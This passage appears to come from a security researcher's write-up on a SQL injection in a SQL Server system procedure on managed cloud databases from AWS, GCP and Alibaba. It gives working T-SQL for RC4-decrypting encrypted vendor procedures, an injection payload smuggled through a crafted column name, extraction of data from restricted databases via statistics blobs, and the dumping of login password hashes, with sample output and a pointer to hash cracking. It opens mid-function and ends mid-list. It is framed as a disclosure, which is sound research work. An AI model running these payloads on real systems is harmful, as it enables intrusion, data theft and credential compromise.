SCHEMABINDING\nAS\nBEGIN\n    DECLARE @Key table\n    (\n        i tinyint PRIMARY KEY,\n        v tinyint NOT NULL\n    );\n\n    DECLARE\n        @Index smallint = 0,\n        @PwdLen tinyint = DATALENGTH(@Pwd);\n\n    WHILE @Index &lt;= 255\n    BEGIN\n        INSERT @Key\n            (i, v)\n        VALUES\n            (@Index, CONVERT(tinyint, SUBSTRING(@Pwd, @Index % @PwdLen + 1, 1)));\n\n        INSERT @Box (i, v)\n        VALUES (@Index, @Index);\n\n        SET @Index += 1;\n    END;\n\n    DECLARE\n        @t tinyint = NULL,\n        @b smallint = 0;\n\n    SET @Index = 0;\n\n    WHILE @Index &lt;= 255\n    BEGIN\n        SELECT @b = (@b + b.v + k.v) % 256\n        FROM @Box AS b\n        JOIN @Key AS k\n            ON k.i = b.i\n        WHERE b.i = @Index;\n\n        SELECT @t = b.v\n        FROM @Box AS b\n        WHERE b.i = @Index;\n\n        UPDATE b1\n        SET b1.v = (SELECT b2.v FROM @Box AS b2 WHERE b2.i = @b)\n        FROM @Box AS b1\n        WHERE b1.i = @Index;\n\n        UPDATE @Box\n        SET v = @t\n        WHERE i = @b;\n\n        SET @Index += 1;\n    END;\n\n    RETURN;\nEND;\nGO\nCREATE FUNCTION dbo.fnEncDecRc4\n(\n    @Pwd varbinary(256),\n    @Text varbinary(MAX)\n)\nRETURNS varbinary(MAX)\nWITH \n    SCHEMABINDING, \n    RETURNS NULL ON NULL INPUT\nAS\nBEGIN\n    DECLARE @Box AS table \n    (\n        i tinyint PRIMARY KEY, \n        v tinyint NOT NULL\n    );\n\n    INSERT @Box\n        (i, v)\n    SELECT\n        FIR.i, FIR.v\n    FROM dbo.fnInitRc4(@Pwd) AS FIR;\n\n    DECLARE\n        @Index integer = 1,\n        @i smallint = 0,\n        @j smallint = 0,\n        @t tinyint = NULL,\n        @k smallint = NULL,\n        @CipherBy tinyint = NULL,\n        @Cipher varbinary(MAX) = 0x;\n\n    WHILE @Index &lt;= DATALENGTH(@Text)\n    BEGIN\n        SET @i = (@i + 1) % 256;\n\n        SELECT\n            @j = (@j + b.v) % 256,\n            @t = b.v\n        FROM @Box AS b\n        WHERE b.i = @i;\n\n        UPDATE b\n        SET b.v = (SELECT w.v FROM @Box AS w WHERE w.i = @j)\n        FROM @Box AS b\n        WHERE b.i = @i;\n\n        UPDATE @Box\n        SET v = @t\n        WHERE i = @j;\n\n        SELECT @k = b.v\n        FROM @Box AS b\n        WHERE b.i = @i;\n\n        SELECT @k = (@k + b.v) % 256\n        FROM @Box AS b\n        WHERE b.i = @j;\n\n        SELECT @k = b.v\n        FROM @Box AS b\n        WHERE b.i = @k;\n\n        SELECT\n            @CipherBy = CONVERT(tinyint, SUBSTRING(@Text, @Index, 1)) ^ @k,\n            @Cipher = @Cipher + CONVERT(binary(1), @CipherBy);\n\n        SET @Index += 1;\n    END;\n\n    RETURN @Cipher;\nEND;<\/pre><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Step 3: Decrypt the Code<\/h4>\n\n\n\n<p>We can now compute the key and perform the decryption:<\/p>\n\n\n\n<p><em>AWS &#8211; rds_set_database_online<\/em><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE DB1\nGO\nDECLARE @objectid INTEGER = OBJECT_ID(N'rdsadmin.dbo.rds_set_database_online'),\n        @family_guid BINARY(16),\n        @objid BINARY(4),\n        @subobjid BINARY(2),\n        @imageval VARBINARY(MAX),\n        @RC4key BINARY(20);\n\n-- 1. Find the rdsadmin database family GUID\nSELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid)\nFROM sys.database_recovery_status AS DRS\nWHERE DRS.database_id = DB_ID('rdsadmin');\n\n-- 2. Convert object ID to little-endian binary(4)\nSET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid)));\n\n-- 3. Read the encrypted value and subobjid from our temp table\nSELECT\n    @imageval = SOV.imageval,\n    -- Get the subobjid and convert to little-endian binary\n    @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid)))\nFROM ##tmp_sysobjvalues AS SOV\nWHERE SOV.[objid] = @objectid\n      AND SOV.valclass = 1;\n\n-- 4. Compute the RC4 initialization key\nSET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid);\n\n-- 5. Apply the standard RC4 algorithm and convert to nvarchar\nSELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col;\nGO<\/pre><\/div>\n\n\n\n<p>And the full source code for <code>rds_set_database_online<\/code> is revealed:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE PROCEDURE rds_set_database_online @name SYSNAME WITH ENCRYPTION,\n EXECUTE AS OWNER AS BEGIN\n   DECLARE @sql NVARCHAR(MAX);\n   DECLARE @login SYSNAME = ORIGINAL_LOGIN();\n\n   IF @@TRANCOUNT &lt;&gt; 0 BEGIN\n      RAISERROR('Cannot alter a database in a transaction', 16, 0) WITH LOG;\n      RETURN;\n   END\n   \n   IF @name IN ('master', 'tempdb', 'model', 'msdb', 'rdsadmin') BEGIN\n      RAISERROR('Cannot alter system databases or rdsadmin', 16, 0) WITH LOG;\n      RETURN;\n   END\n   \n   IF IS_SRVROLEMEMBER('sysadmin', @login) = 0 AND NOT EXISTS (SELECT *\n    FROM sys.server_permissions server_permissions\n    JOIN sys.server_principals server_principals\n    ON server_permissions.grantee_principal_id = server_principals.principal_id\n    WHERE server_permissions.type = 'CRDB'\n    AND server_permissions.state IN ('G', 'W')\n    AND server_principals.name = @login) BEGIN\n      RAISERROR('Login needs CREATE ANY DATABASE permission', 16, 0) WITH LOG;\n      RETURN;\n   END\n   \n   SELECT @sql = 'ALTER DATABASE ' + QUOTENAME(@name) + ' SET ONLINE';\n   EXEC(@sql) AS LOGIN = 'rdsa';\nEND<\/pre><\/div>\n\n\n\n<p>It is interesting to observe that AWS also uses dynamic code execution, but it&#8217;s not vulnerable to this type of injection as they are properly quoting the @name variable using <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/functions\/quotename-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">QUOTENAME()<\/a>.<\/p>\n\n\n\n<p>You could do the same to decrypt the code from other vendors, like:<\/p>\n\n\n\n<p><em>GCP &#8211; gcloudsql_rotate_tde_certificate<\/em><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE DB1\nGO\nDECLARE @objectid INTEGER = OBJECT_ID(N'msdb.dbo.gcloudsql_rotate_tde_certificate'),\n        @family_guid BINARY(16),\n        @objid BINARY(4),\n        @subobjid BINARY(2),\n        @imageval VARBINARY(MAX),\n        @RC4key BINARY(20);\n\n-- 1. Find the rdsadmin database family GUID\nSELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid)\nFROM sys.database_recovery_status AS DRS\nWHERE DRS.database_id = DB_ID('msdb');\n\n-- 2. Convert object ID to little-endian binary(4)\nSET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid)));\n\n-- 3. Read the encrypted value and subobjid from our temp table\nSELECT\n    @imageval = SOV.imageval,\n    -- Get the subobjid and convert to little-endian binary\n    @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid)))\nFROM ##tmp_sysobjvalues AS SOV\nWHERE SOV.[objid] = @objectid\n      AND SOV.valclass = 1;\n-- 4. Compute the RC4 initialization key\nSET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid);\n\n-- 5. Apply the standard RC4 algorithm and convert to nvarchar\nSELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col;\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE   PROCEDURE dbo.gcloudsql_rotate_tde_certificate\n@name SYSNAME\nWITH EXECUTE AS N'CloudDbSqlRoot', ENCRYPTION\nAS\nBEGIN\n  SET NOCOUNT ON\n\n  IF (SELECT ars.role_desc\n    FROM sys.dm_hadr_availability_replica_states ars\n    WHERE ars.is_local = 1)\n    IN ('SECONDARY')\n  BEGIN\n    -- Raise an error for read replica instance\n    RAISERROR('This operation can not be performed on a read replica instance.', 16, 1);\n    RETURN;\n  END\n\n  BEGIN\n    DECLARE @updateError VARCHAR(MAX) = 'Certificate not found or failed to mark the certificate ' +\n      'for rotation. Please try again with a valid certificate name.';\n    DECLARE @rotateError VARCHAR(MAX) = 'Cannot rotate certificates that do not start with ' +\n      '\"gcloud_tde_system_\".';\n\n    IF @name LIKE N'gcloud_tde_system_%'\n    BEGIN\n      UPDATE gcloud_cloudsqladmin.dbo.Certificates\n      SET emergency_rotate = 1\n      WHERE name = @name;\n\n      IF @@ROWCOUNT = 0\n      BEGIN\n        RAISERROR(@updateError, 16, 1);\n        RETURN;\n      END\n\n      PRINT 'Successfully marked certificate for rotation. Databases using the old certificate will'\n        + ' be updated within a few minutes with the new certificate.';\n    END\n    ELSE\n    BEGIN\n      RAISERROR (@rotateError, 16, 1);\n    END\n  END\nEND;<\/pre><\/div>\n\n\n\n<p><em>Alibaba &#8211; sp_rds_free_proc_cache<\/em><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE DB1\nGO\nDECLARE @objectid INTEGER = OBJECT_ID(N'master.dbo.sp_rds_free_proc_cache'),\n        @family_guid BINARY(16),\n        @objid BINARY(4),\n        @subobjid BINARY(2),\n        @imageval VARBINARY(MAX),\n        @RC4key BINARY(20);\n\n-- 1. Find the rdsadmin database family GUID\nSELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid)\nFROM sys.database_recovery_status AS DRS\nWHERE DRS.database_id = DB_ID('master');\n\n-- 2. Convert object ID to little-endian binary(4)\nSET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid)));\n\n-- 3. Read the encrypted value and subobjid from our temp table\nSELECT\n    @imageval = SOV.imageval,\n    -- Get the subobjid and convert to little-endian binary\n    @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid)))\nFROM ##tmp_sysobjvalues AS SOV\nWHERE SOV.[objid] = @objectid\n      AND SOV.valclass = 1;\n\n-- 4. Compute the RC4 initialization key\nSET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid);\n\n-- 5. Apply the standard RC4 algorithm and convert to nvarchar\nSELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col;\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">---------------------------------------------------------\n\/*\n-- funcion: disable db cdc \n-- creator: yangzhao.yz@alibaba-inc.com\n-- date:  2019-09-24\n-- modify history:\n   1.   2019-09-24  yangzhao.yz\n   2.   2019-09-24  yangzhao.yz\n   3.   2025-07-24  fix sql injection security issue\n\n*\/\n\n---------------------------------------------------------\nCREATE PROC dbo.sp_rds_free_proc_cache\n    @paras sysname = ''\nWITH ENCRYPTION,\nEXECUTE AS 'pgt1714967321A\\Administrator'\nAS  \nBEGIN\n    SET NOCOUNT ON;\n    \n    DECLARE @sqlcmd nvarchar(max)\n    DECLARE @is_valid bit = 0\n    \n    -- Whitelist validation: only allow predefined valid parameters\n    IF @paras IS NULL OR @paras = ''\n    BEGIN\n        SET @sqlcmd = 'DBCC FREEPROCCACHE'\n        SET @is_valid = 1\n    END\n    ELSE\n    BEGIN\n        -- Check if it's a valid plan_handle format (hexadecimal)\n        IF @paras LIKE '0x[0-9A-Fa-f][0-9A-Fa-f]%' \n           AND LEN(@paras) BETWEEN 18 AND 200  \n           AND SUBSTRING(@paras, 3, LEN(@paras)-2) NOT LIKE '%[^0-9A-Fa-f]%' COLLATE Latin1_General_BIN2\n           AND LEN(@paras) % 2 = 0 \n        BEGIN\n            SET @is_valid = 1\n        END\n        -- Check if it's a valid SQL_handle format (fixed 40 chars total)\n        ELSE IF @paras LIKE '0x[0-9A-Fa-f][0-9A-Fa-f]%'\n                AND LEN(@paras) = 40  -- Fixed length of SQL_handle\n                AND SUBSTRING(@paras, 3, 38) NOT LIKE '%[^0-9A-Fa-f]%' COLLATE Latin1_General_BIN2\n        BEGIN\n            SET @is_valid = 1\n        END\n        \n        IF @is_valid = 1\n        BEGIN\n            SET @sqlcmd = 'DBCC FREEPROCCACHE (' + @paras + ')'\n        END\n        ELSE\n        BEGIN\n            RAISERROR('Parameter does not match allowed patterns. Only valid plan_handle or sql_handle values are permitted.', 16, 1)\n            RETURN\n        END\n    END\n    \n    \n    BEGIN TRY\n        EXEC (@sqlcmd)\n    END TRY\n    BEGIN CATCH\n        DECLARE @error_message nvarchar(4000) = ERROR_MESSAGE()\n        RAISERROR('Error executing DBCC command: %s', 16, 1, @error_message)\n    END CATCH\nEND    \nGO<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-extent-of-the-compromise-access-to-user-data\">The Extent of the Compromise \u2013 Access to User Data<\/h2>\n\n\n\n<p>In my opinion, this breach is a <strong>huge<\/strong> deal. As we saw, an attacker can read <code>sys.sysobjvalues<\/code> with elevated permissions, and can also access vast amounts of system data that is normally restricted. This goes far beyond just decrypting stored procedures.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-reveal-data-from-restricted-tables\">Reveal Data from Restricted Tables<\/h3>\n\n\n\n<p>The attacker could also reveal data for a table it doesn&#8217;t have access to by exploiting the <strong>stats stream<\/strong> data stored on the <code>imageval<\/code> column of <code>sys.sysobjvalues<\/code>. The statistics stream often contains samples of data and strings from the table being sampled.<\/p>\n\n\n\n<p>For instance, let\u2019s envisage the following scenario:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Create a DB with some sensitive data *\/\nUSE master\nGO\nIF DB_ID('SensitiveData') IS NOT NULL\nBEGIN\n  ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE SensitiveData\nEND\nCREATE DATABASE SensitiveData\nGO\nUSE SensitiveData\nGO\nDROP TABLE IF EXISTS UserInfo;\nGO\nCREATE TABLE UserInfo ([UserName] VARCHAR(200), [CreditCardNumber] VARCHAR(2000));\nGO\nINSERT INTO UserInfo VALUES('Fabiano', '1234 4567 7890 1234')\nGO\nCREATE STATISTICS Stats1 ON UserInfo ([UserName])\nGO\nCREATE STATISTICS Stats2 ON UserInfo ([CreditCardNumber])\nGO\n\/* Reading data from UserInfo table *\/\nSELECT * FROM dbo.[UserInfo]\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">UserName      CreditCardNumber\n------------- -------------------\nFabiano       1234 4567 7890 1234\nNeves         9999 8888 7777 6666\nAmorim        2222 2222 2222 2222\n\n(3 rows affected)<\/pre><\/div>\n\n\n\n<p>Now, let\u2019s consider you have a login, that only has access to a specific DB. Access to <code>SensitiveData<\/code> db is not allowed:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\nCREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF\nGO\n\/* Create a user for AppLogin on DB1 and give it db_owner on the DB *\/\nUSE DB1\nGO\nCREATE USER AppLogin FOR LOGIN AppLogin;\nALTER ROLE [db_owner] ADD MEMBER AppLogin;\nGO<\/pre><\/div>\n\n\n\n<p>If you login as <code>AppLogin<\/code> and try to read data from the <code>SensitiveData<\/code> database, you\u2019ll receive an error saying you don\u2019t have access to it &#8211; so far so good:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Session logged as AppLogin\nUSE DB1\nGO\nSELECT * FROM SensitiveData.dbo.UserInfo\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result (Access Denied):<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Msg 916, Level 14, State 2, Line 3\nThe server principal \"AppLogin\" is not able to access the database \"SensitiveData\" under the current security context.<\/pre><\/div>\n\n\n\n<p>But, we do have access to <code>sysobjvalues<\/code> in the <code>SensitiveData<\/code> database, so let\u2019s inject a code using <code>sp_help_spatial_geography_histogram<\/code> and read data from this table. Notice the injected code is reading table from <code>SensitiveData<\/code> db:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Session logged as AppLogin \nUSE DB1\n-- Step 1: Store the full decryption script payload\nDROP TABLE IF EXISTS ##MyDynamicCode\nCREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX))\nINSERT INTO ##MyDynamicCode (Col1) VALUES(N'\nDROP TABLE IF EXISTS ##tmp_sysobjvalues; \nSELECT * INTO ##tmp_sysobjvalues FROM SensitiveData.sys.sysobjvalues WHERE imageval IS NOT NULL\n')\nGO\n-- Step 2: Inject the execution of the stored script\nDROP TABLE IF EXISTS TabDecrypt\nCREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY)\nGO\n-- Execute the injection\nEXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100;\nGO<\/pre><\/div>\n\n\n\n<p>By parsing the hexadecimal statistics data (imageval) for the <code>sysobjvalues<\/code> table, we can extract human-readable strings, effectively bypassing the permission restriction.<\/p>\n\n\n\n<p>Let\u2019s create a function to help us parse the imageval hex:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Session logged as AppLogin \nUSE DB1\nGO\n\/*==============================================================\n  dbo.fn_ParseStringsFromHex\n  Returns every run of printable ASCII characters (length &gt;= @minLen)\n  discovered in a varbinary(MAX) blob, together with its offset.\n\n  Parameters\n  ----------\n  @blob       : varbinary(MAX)    -- the binary to scan\n  @minLen     : int   = 3         -- minimum length of string to keep\n  @filterHex  : varbinary(128)=NULL  -- optional byte pattern to filter on\n================================================================*\/\nCREATE OR ALTER FUNCTION dbo.fn_ParseStringsFromHex\n(\n    @blob   VARBINARY(MAX),\n    @minLen INT = 3\n)\nRETURNS TABLE\nAS\nRETURN\n(\n    \/* ---------- 1.  Generate one row per byte ---------- *\/\nWITH L0   AS(SELECT 1 AS C UNION ALL SELECT 1 AS O), -- 2 rows\n     L1   AS(SELECT 1 AS C FROM L0 AS A CROSS JOIN L0 AS B), -- 4 rows\n     L2   AS(SELECT 1 AS C FROM L1 AS A CROSS JOIN L1 AS B), -- 16 rows\n     L3   AS(SELECT 1 AS C FROM L2 AS A CROSS JOIN L2 AS B), -- 256 rows\n     L4   AS(SELECT 1 AS C FROM L3 AS A CROSS JOIN L3 AS B), -- 65,536 rows\n     L5   AS(SELECT 1 AS C FROM L4 AS A CROSS JOIN L4 AS B), -- 4,294,967,296 rows\n     Nums AS(SELECT ROW_NUMBER() OVER(ORDER BY (SELECT NULL)) AS N FROM L5),\n     Bytes AS\n    (\n        SELECT TOP (DATALENGTH(@blob))\n               n  = ROW_NUMBER() OVER (ORDER BY (SELECT NULL)),\n               ch = CONVERT(int, SUBSTRING(@blob,\n                                           ROW_NUMBER() OVER (ORDER BY (SELECT NULL)), 1))\n        FROM  (SELECT TOP (10000) * FROM Nums) AS fnSequencial -- any large-enough tally source\n    ),\n    \/* ---------- 2.  Tag printable bytes ---------- *\/\n    Flags AS\n    (\n        SELECT n,\n               ch,\n               isPrint = CASE WHEN ch BETWEEN 32 AND 126 THEN 1 ELSE 0 END\n        FROM   Bytes\n    ),\n    \/* ---------- 3.  Build islands of consecutive printable chars ---------- *\/\n    Islands AS\n    (\n        SELECT n,\n               ch,\n               grp = SUM(CASE WHEN isPrint = 1 THEN 0 ELSE 1 END)\n                         OVER (ORDER BY n ROWS UNBOUNDED PRECEDING)\n        FROM   Flags\n    ),\n    \/* ---------- 4.  Aggregate each island into a string ---------- *\/\n    Strings AS\n    (\n        SELECT\n            StartOffset = MIN(n) - 1,                         -- 0-based offset\n            [Length]    = COUNT(*),\n            [Text]      = STRING_AGG(CHAR(ch), '')            -- concat bytes \u2192 text\n                            WITHIN GROUP (ORDER BY n)\n        FROM   Islands\n        WHERE  ch BETWEEN 32 AND 126                         -- printable ASCII\n        GROUP BY grp\n        HAVING COUNT(*) &gt;= @minLen\n    )\n    \/* ---------- 5.  Optional hex-pattern filter ---------- *\/\n    SELECT  StartOffset,\n            [Length],\n            [Text]\n    FROM    Strings\n);\nGO<\/pre><\/div>\n\n\n\n<p>Now, we can use this function to reveal the data from the statistic:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Session logged as AppLogin \nSELECT fn_ParseStringsFromHex.*\nFROM ##tmp_sysobjvalues\nCROSS APPLY dbo.fn_ParseStringsFromHex(##tmp_sysobjvalues.imageval, 5) AS fn_ParseStringsFromHex\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result (revealing sensitive data from UserInfo table):<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">StartOffset          Length      Text\n-------------------- ----------- -----------------------------------------------------------\n419                  7           Amorim0\n448                  8           Fabiano0\n478                  5           Neves\n520                  18          AmorimFabianoNeves\n419                  20          1234 4567 7890 12340\n461                  20          2222 2222 2222 22220\n503                  19          9999 8888 7777 6666\n559                  57          1234 4567 7890 12342222 2222 2222 22229999 8888 7777 6666\n419                  5           ?CO  \n442                  5           ?SL  \n465                  5           ?VWCK\n488                  5           ?VWCM\n533                  8           CO  SL  \n786                  18          AFFNSIFTP S TFV X \n195                  5           @_B[A\n1394                 57          1234 4567 7890 12342222 2222 2222 22229999 8888 7777 6666\n5639                 5           ?VWCM\n5684                 8           CO  SL  \n7342                 5           m[?AL\n29                   5           m[?AL\n\n(20 rows affected)<\/pre><\/div>\n\n\n\n<p>This technique successfully reveals data from ANY database in the instance that are meant to be entirely hidden from the attacker.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Read Password Hashes<\/h3>\n\n\n\n<p>Standard security restricts access to password hashes for logins, as <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/system-catalog-views\/sys-sql-logins-transact-sql\" target=\"_blank\" rel=\"noreferrer noopener\">per the documentation<\/a>:<\/p>\n\n\n\n<p><em>In SQL Server, any SQL Server authentication login can see their own login name, and the sa login. To see other logins, the principal requires <code>ALTER ANY LOGIN<\/code>, <code>VIEW SERVER SECURITY DEFINITION<\/code>, or a permission on the login.<\/em><\/p>\n\n\n\n<p><em>To view the contents of the password_hash column, <code>CONTROL SERVER<\/code> is required. Starting with SQL Server 2022 (16.x), <code>VIEW ANY CRYPTOGRAPHICALLY SECURED DEFINITION<\/code> permission is required.<\/em><\/p>\n\n\n\n<p>If we try to read data from <code>sql_logins<\/code>, we\u2019ll get the following:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT name, password_hash FROM master.sys.sql_logins\nWHERE type = 'S'\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result (Standard):<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">name                               password_hash\n---------------------------------- ----------------\nrdsa                               NULL\n##MS_PolicyTsqlExecutionLogin##    NULL\n##MS_PolicyEventProcessingLogin##  NULL\nadmin                              NULL<\/pre><\/div>\n\n\n\n<p>However, since we can read the underlying privileged table (<code>sys.sysxlgns<\/code>), we can find the hidden password hashes (<code>pwdhash<\/code>):<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE DB1\n-- Step 1: Store the full decryption script payload\nDROP TABLE IF EXISTS ##MyDynamicCode\nCREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX))\nINSERT INTO ##MyDynamicCode (Col1) VALUES(N'\nDROP TABLE IF EXISTS ##tmp_sysxlgns; \nSELECT name, pwdhash INTO ##tmp_sysxlgns FROM master.sys.sysxlgns WHERE pwdhash IS NOT NULL;\n')\nGO  \n-- Step 2: Inject the execution of the stored script\nDROP TABLE IF EXISTS TabDecrypt\nCREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY)\nGO\n-- Execute the injection\nEXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100;\nGO\n-- The privileged table data is now accessible\nSELECT * FROM ##tmp_sysxlgns\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result (Privileged):<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- AWS\n\/*\nname                                 pwdhash\n------------------------------------ --------------------------------------\nrdsa                                 0x0200C18E5FD2B7B5E90CA651DE7E6CEE7...\n##MS_PolicyTsqlExecutionLogin##      0x0200AB8E303DA002CF99FE33493A5AFC6...\n##MS_PolicyEventProcessingLogin##    0x020090A3E9D30D9DE85D5A8B5B8BEE025...\nadmin                                0x0200723931878C829F35C3B698B098AE6...\n*\/\n\n-- GCP\n\/*\nname                                 pwdhash\n------------------------------------ --------------------------------------\nsa                                   0x02002A7B7DD24CE1751A15A70CFFD902A...\n##MS_PolicyEventProcessingLogin##    0x0200191E7D2672BC970D02D5680A416C5...\n##MS_PolicyTsqlExecutionLogin##      0x020083BD931000E776711567BF7441066...\nCloudDbSqlRoot                       0x0200647E418FF38E6C13B16B6F5A48499...\nCloudDbSqlAgent                      0x0200C4AFBA31CB93E8D3AF6FF212ACB3E...\nsqlserver                            0x0200D10954D80967C302AA17F64BABAE0...\nCloudDbSqlRoot_2                     0x0200F3B57F5A6D5666556BFCA58C112A7...\nCloudDbSqlAgent_2                    0x0200BD7A091D6E6F65F766F6C8063E75C...\ndistributor_admin                    0x0200EF5398996FEDDA07C540A8277CC96...\n*\/\n\n-- Alibaba\n\/*\nname                                 pwdhash\n------------------------------------ --------------------------------------\nsqlsa                                0x020087AF56474C7B5030B1641850E14A6...\n##MS_PolicyTsqlExecutionLogin##      0x02008853D926CFCCF3DCE5F5156F3A372...\n##MS_PolicyEventProcessingLogin##    0x02001F27F4867E35A65423A747F23E223...\naurora                               0x0200B2F43E7D6690D25E78DC562FF418B...\nrds_service                          0x02008BE15492CC180DFDCFBA473DEE897...\nrds_ha_sec_user                      0x02000484EBE76C8A5155C69CE711C7F02...\nsqlserver                            0x0200A99A85ECC74E28C841AE82BF13E3C...\n*\/<\/pre><\/div>\n\n\n\n<p>This exposes the password hashes for the RDS internal user (rdsa) and the customer&#8217;s primary login (admin).<\/p>\n\n\n\n<p>A user with access to login hashes can now go ahead and try to crack it using <a href=\"https:\/\/hashcat.net\/hashcat\/\" target=\"_blank\" rel=\"noreferrer noopener\">hashcat<\/a> or something similar, as demonstrated <a href=\"https:\/\/vladdba.com\/2022\/09\/21\/cracking-sql-server-login-passwords-offline\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a> by <a href=\"https:\/\/vladdba.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Vlad Drumea<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-conclusion-amp-key-takeaways\">Conclusion &amp; Key Takeaways<\/h2>\n\n\n\n<p>This analysis reveals a critical example of how a seemingly minor SQL injection flaw in a niche system procedure can lead to a complete compromise of the security boundary in a managed cloud database environment. The technique demonstrated allowed for three major security impacts:<\/p>\n\n\n<div class=\"block-core-list\">\n<ol class=\"wp-block-list\">\n<li><strong>Full decryption of system code<\/strong>, exposing the proprietary logic and security checks.<\/li>\n\n\n\n<li><strong>Access to hidden data using statistics <\/strong>from any user database in the instance.<\/li>\n\n\n\n<li><strong>Exposure of login credentials<\/strong>, the password hashes for all accounts.<\/li>\n<\/ol>\n<\/div>\n\n\n<p>For database administrators, this exploit highlights the subtle but profound security risks that exist in the overlap between vendor-managed infrastructure and user-accessible databases. While vendors try to maintains a secure platform, a single vulnerability in a high-privilege system object can unravel complex security layers.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-key-takeaways\">Key Takeaways<\/h3>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>A SQL Server DBaaS vulnerability allowed 